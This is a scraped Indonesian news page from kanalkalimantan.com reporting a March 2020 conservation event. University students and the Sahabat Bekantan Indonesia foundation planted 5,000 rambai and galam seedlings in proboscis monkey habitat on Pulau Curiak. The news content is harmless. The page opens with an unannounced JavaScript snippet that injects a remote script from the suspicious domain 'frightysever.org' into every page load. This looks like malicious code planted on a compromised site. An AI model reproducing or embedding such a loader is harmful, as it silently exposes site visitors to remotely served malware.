(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Sekolah Konservasi di Pulau Curiak, Tanam Rambai dan Galam di Habitat Bekantan


KANALKALIMANTAN.COM, MARABAHAN – Libatkan mahasiswa, sebanyak 5 ribu bibit pohon rambai dan galam ditanam di kawasan Stasiun Riset Bekantan (SRB) Pulau Curiak, Kabupaten Barito Kuala, Sabtu (14/3/2020).

Amalia Rezeki, founder Yayasan Sahabat Bekantan Indonesia (SBI) menerima kunjungan puluhan mahasiswa dari Universitas Lambung Mangkurat (ULM), mereka nampak melaksanakan kegiatan susur sungai, dengan tema komunikasi lingkungan dan kearifan lokal.

“Hari ini sebenarnya adalah kegiatan sekolah konservasi bersama teman-teman mahasiswa program studi komunikasi Fisip ULM, dan melibatkan masyarakat lokal yang ada di sini, yaitu penanaman pohon, di kawasan pulau Curiak,” kata Amel sebutan akrab dosen Pendidikan Biologi ULM ini.

Sementara itu, Febri seorang mahasiswa yang ikut terlibat dan baru pertama kali ke pulau Curiak ini mengaku sangat antusias atas kegiatan penanaman yang dilakukan. Mengingat usaha yang dilakukan dinilai sangat mengedukasi mahasiswa bisa turun langsung ke alam, sehingga diharapkan berdampak positif terhadap lingkungan sekitar habitat bekantan.

Sekolah konservasi di Pulau Curiak dilakukan mahasiswa ULM bersama Yayasan SBI. Foto: rdy

“Sebenarnya kalau kegiatan menanam saya sudah sering melakukannya, namun kali ini rasanya beda, semoga aksi kita ini dapat langsung membawa perubahan, tentunya untuk kelangsungan hidup bekantan itu sendiri,” singkat Febri.

Pulau Curiak salah satu kawasan alami habitat hewan bekantan di Kalimantan Selatan yang berada di luar wilayah konservasi monyet besar berhidung panjang tersebut. Letak pulau Curiak yang berada di jalur lalu lintas kapal di perairan Sungai Barito, membuat hutan mangrove di kawasan ini mulai terancam.

Penyebabnya tak jarang pulau yang tak jauh dari Pulau Bakut di bawah Jembatan Barito ini, menjadi tempat tambat kapal tongkang dan kayu gelondongan. Hal ini menyebabkan tanaman mangrove mati akibat terlindas. Dampaknya, populasi bekantan di pulau ini mulai berkurang akibat makanan hewan endemik Kalimantan itu berkurang. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie

 


Al Ghifari

Recent Posts

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

52 menit ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

2 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

2 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

3 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

5 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

6 jam ago

This website uses cookies.